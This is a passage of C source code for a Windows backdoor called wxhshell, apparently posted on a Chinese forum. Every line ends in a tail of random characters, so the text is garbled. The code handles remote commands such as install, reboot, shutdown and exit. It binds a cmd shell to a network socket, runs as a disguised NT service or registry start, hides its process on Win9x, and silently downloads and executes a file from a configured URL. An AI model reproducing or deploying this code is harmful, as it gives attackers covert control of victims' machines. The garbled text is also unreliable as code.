  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u0e#iX  
  else -a[{cu{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2I<T<hFW]  
  } Dfo9jYPf  
  else { <j#EyGAV  
5HN<*u%z  
    switch(cmd[0]) { !O-+ h0Z  
  iQF}x&a<  
  // 帮助 t;]egk  
  case '?': { (AYS>8O&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Uk9g^\H<D  
    break; ni> ;8O]=  
  } *PEuaRDN  
  // 安装 sdWl5 "  
  case 'i': { ^IH1@  
    if(Install()) m =}X$QF`^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 895 7$g  
    else ^j %UZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E'8Bw7Tz  
    break; M<unQ1+wh  
    } zf~zYZSr  
  // 卸载 r<v%Zp  
  case 'r': { ea0tx3'  
    if(Uninstall()) Ak Tw?v'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CE,O m^  
    else \T9UbkR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c5e\ckqm^  
    break; 6sl<Z=E#  
    } @3c#\jx  
  // 显示 wxhshell 所在路径 e,&%Z  
  case 'p': { Z!reX6  
    char svExeFile[MAX_PATH]; e0HP~&BRs  
    strcpy(svExeFile,"\n\r"); o(/ ia3  
      strcat(svExeFile,ExeFile); %n25Uq  
        send(wsh,svExeFile,strlen(svExeFile),0); NRSse"  
    break; v:MS0]  
    } !h>$bm  
  // 重启 JK"uj%  
  case 'b': { MIF[u:&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g/Jj]X#r  
    if(Boot(REBOOT)) }]+}Tipd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' ,`4 U F  
    else { n "KJB  
    closesocket(wsh); ?{,)XFck  
    ExitThread(0); |~LjH|*M  
    } MVP)rugU  
    break; Q EGanpz  
    } `OReSg 2  
  // 关机 >ha Ixs`9  
  case 'd': { `Mn{bd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7TPLVa=hO  
    if(Boot(SHUTDOWN)) 4*XP;`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }_:#fE  
    else { , gr&s+  
    closesocket(wsh); OGi4m |  
    ExitThread(0); 40d9/$uzh  
    } S%s|P=u  
    break; pD_eo6xX  
    } p z+}7  
  // 获取shell PSqtZN  
  case 's': { obc^<ZD]  
    CmdShell(wsh); C\ 2 >7  
    closesocket(wsh); UH,4b`b  
    ExitThread(0); $17 v,  
    break; -kri3?Y,  
  } ]#-/i2-K  
  // 退出 ^_S-s\DW  
  case 'x': { \ NSw<.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HD8"=7zJk  
    CloseIt(wsh); 9EA !j}  
    break; C`~4q<W'  
    } &B7+>Ix,  
  // 离开 7- 3N  
  case 'q': { m57tO X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .M53, 8X  
    closesocket(wsh); ! N"L`RWD  
    WSACleanup(); x+*L5$;h  
    exit(1); AR+\uD=\I-  
    break; 2 ) /k`Na  
        } v1X&p\[d  
  } ahi57r[  
  } _^xh1=Qr}n  
y5AXL5  
  // 提示信息 !.2CAL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /!{A=N  
} /,uSCITD  
  } srChY&h?<  
msqxPC^I  
  return; RLu$$Eb  
} e0|_Z])D  
.X LV:6  
// shell模块句柄 u .pKK  
int CmdShell(SOCKET sock) S4{Mu(^xT  
{ \\2k}TsB  
STARTUPINFO si; n$OE~YwP{  
ZeroMemory(&si,sizeof(si)); %g]$Vfpy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DQ n`@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =mi:<q  
PROCESS_INFORMATION ProcessInfo; 1|l)gfcP  
char cmdline[]="cmd"; iKF$J3a\2f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rekb?|{z  
  return 0; wzDk{4U  
} 0U~;%N+lv  
y ;{^Ln4{  
// 自身启动模式 nI`f_sp  
int StartFromService(void) !Ig|m+  
{ !sfXq"F  
typedef struct Bg 7j5  
{ mX<Fuu}E*Z  
  DWORD ExitStatus; O2`oe4."vd  
  DWORD PebBaseAddress; Q00R<hu@F  
  DWORD AffinityMask; C5O5S:|'  
  DWORD BasePriority; :]P~.PD5,  
  ULONG UniqueProcessId; GVmC }>z  
  ULONG InheritedFromUniqueProcessId; [>W"R1/  
}   PROCESS_BASIC_INFORMATION; {]wIM^$6+  
~L- 0~  
PROCNTQSIP NtQueryInformationProcess; J>rka]*  
"+=Pp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S~KS9E~\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :83,[;GO2  
yJ!OsD  
  HANDLE             hProcess; ] )DX%$f  
  PROCESS_BASIC_INFORMATION pbi; }8-\A7T  
N8r*dadDd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R\|lt)h  
  if(NULL == hInst ) return 0; N|g;W  
5kypMHJm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iRV~Il#~!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !y:%0{l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P>ceeoYQuA  
@f+8%I3D  
  if (!NtQueryInformationProcess) return 0; /93l74.w  
d[ >`")2)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I` K$E/ns  
  if(!hProcess) return 0; ~[WF_NU1y  
B/JO~;{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *^\HU=&  
D]a:@x`+Bz  
  CloseHandle(hProcess); !" #9<~Q,p  
rl#vE's6.e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;22l"-F  
if(hProcess==NULL) return 0; 0MMEo~dih  
]uj=:@  
HMODULE hMod; GQQ.OvEc  
char procName[255]; 7?8wyk|x  
unsigned long cbNeeded; .nu @ o40  
.d;Iht,[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =<r8fXWZ  
i,A#&YDl  
  CloseHandle(hProcess); 5!YA o\S  
W7"{r)7  
if(strstr(procName,"services")) return 1; // 以服务启动 v~3B:k:?l  
Ho DVn/lr  
  return 0; // 注册表启动 UJfT!==U  
} /={Js*  
&AVpLf:?  
// 主模块 }G o$ \Bk  
int StartWxhshell(LPSTR lpCmdLine) EN{]Qb06A  
{ 1g# #sSa6  
  SOCKET wsl; \^(0B8|w  
BOOL val=TRUE; NNhL*C[_7  
  int port=0; Xs&TJ8a  
  struct sockaddr_in door; uw\2qU3gk  
WW+l'6.  
  if(wscfg.ws_autoins) Install(); k#8Ti"0  
{oc igR 0  
port=atoi(lpCmdLine); E$9 Ys  
t?o ,RN:  
if(port<=0) port=wscfg.ws_port; p4IZ   
t }IkK=f  
  WSADATA data; ZyOv.,y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dm-pxE "  
/>'V!iWyz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;.xoN|Per  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J q{7R  
  door.sin_family = AF_INET; xtPLR/Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L9pvG(R%  
  door.sin_port = htons(port); lis/`B\x  
*  tCS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JN^ &S  
closesocket(wsl); SN4Q))dAU  
return 1; `%+ mO88o  
} ]E  =Iu  
*Av"JAX  
  if(listen(wsl,2) == INVALID_SOCKET) { (-]r~Ol^  
closesocket(wsl); q-nSLE+_;  
return 1; M"%Q&o/I  
} zR!o{8  
  Wxhshell(wsl); gtUUsQ%y.  
  WSACleanup(); `1{N=!U(&  
&//wSlL3  
return 0; E_KCNn-f  
iAT)VQ&  
} ycFio ,  
GgaTn!mJt  
// 以NT服务方式启动 Dnc(l(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1n%?@+W  
{ .B#l5pfvP  
DWORD   status = 0; 3@5=+z~CW  
  DWORD   specificError = 0xfffffff; %m:m}ziLQ  
zlR?,h-[3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I^o!n5VM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |ZodlYF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n wI!O  
  serviceStatus.dwWin32ExitCode     = 0; ih?^t(i  
  serviceStatus.dwServiceSpecificExitCode = 0; *'Z B*>  
  serviceStatus.dwCheckPoint       = 0; >~`C-K#  
  serviceStatus.dwWaitHint       = 0; s@MYc@k  
==i[w|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XqM3<~$  
  if (hServiceStatusHandle==0) return; 2pdvWWh3l  
pP(XIC  
status = GetLastError(); cyxuK*x<  
  if (status!=NO_ERROR) E}%hz*Q)(  
{ RwS@I /  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y>jiXl?&  
    serviceStatus.dwCheckPoint       = 0; AeAp0cbet  
    serviceStatus.dwWaitHint       = 0; ;3_l@dP"  
    serviceStatus.dwWin32ExitCode     = status; .z13 =yv  
    serviceStatus.dwServiceSpecificExitCode = specificError; 52upoU>}2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ sd;`xk  
    return; qj cp65^  
  } ]%Zz \Q  
NEa>\K<\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r>bJ%M}  
  serviceStatus.dwCheckPoint       = 0; N'xSG`,Mg  
  serviceStatus.dwWaitHint       = 0; (E]!Z vE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /?'; nGq  
} 'zh7_%  
VLBE'3Qg 1  
// 处理NT服务事件,比如:启动、停止 r>GZ58i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %e*@CbO$  
{ 5SkW-+$  
switch(fdwControl) ;gC|  
{ fwzb!"!.@  
case SERVICE_CONTROL_STOP: AkOO )0  
  serviceStatus.dwWin32ExitCode = 0; \.mI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <AJ97MLcc  
  serviceStatus.dwCheckPoint   = 0; {BHI1Uw  
  serviceStatus.dwWaitHint     = 0; pRSOYTebP  
  { t4?DpE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ktDC/8  
  } d GP*O  
  return; RCRpzY+@  
case SERVICE_CONTROL_PAUSE: tH'2gl   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YJ(*wByM  
  break; lsN~*q?~]  
case SERVICE_CONTROL_CONTINUE: 02BuX]_0g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'l,V*5L  
  break; u^029sH6j  
case SERVICE_CONTROL_INTERROGATE: BB|?1"neg  
  break; # p[',$cC  
}; ah~Y eJp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,^icPQSwc  
} 6"dD2WV/  
klUQkz |<a  
// 标准应用程序主函数 eW|^tH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %4HRW;IU  
{ 'U'yC2BI n  
#nh|=X  
// 获取操作系统版本 1 hg}(Hix  
OsIsNt=GetOsVer(); JmEj{K<3I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wj[$9UJb  
"kZ[N'z (  
  // 从命令行安装 q\H[am  
  if(strpbrk(lpCmdLine,"iI")) Install(); iX3HtIBj'  
N>>uCkC  
  // 下载执行文件 ?)e37  
if(wscfg.ws_downexe) { oPPX&e@=s]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =_0UD{"_0  
  WinExec(wscfg.ws_filenam,SW_HIDE); )Wb0u0)_  
} 5E notp[  
| [ >UH  
if(!OsIsNt) { S8e{K  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^U]UqX`  
HideProc(); SM@QUAXO  
StartWxhshell(lpCmdLine); t|m=J`a{q;  
} q{+_ <2U|  
else fU!<HD h  
  if(StartFromService()) 9uWY@zu  
  // 以服务方式启动 /> 4"~q)  
  StartServiceCtrlDispatcher(DispatchTable); "O(9m.CZ  
else }pJwj  
  // 普通方式启动 P (S>=,Y&  
  StartWxhshell(lpCmdLine); YtO|D  
H*9~yT' Q  
return 0; r [ K5w  
}
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只看该作者 1 发表于: 2006-10-10
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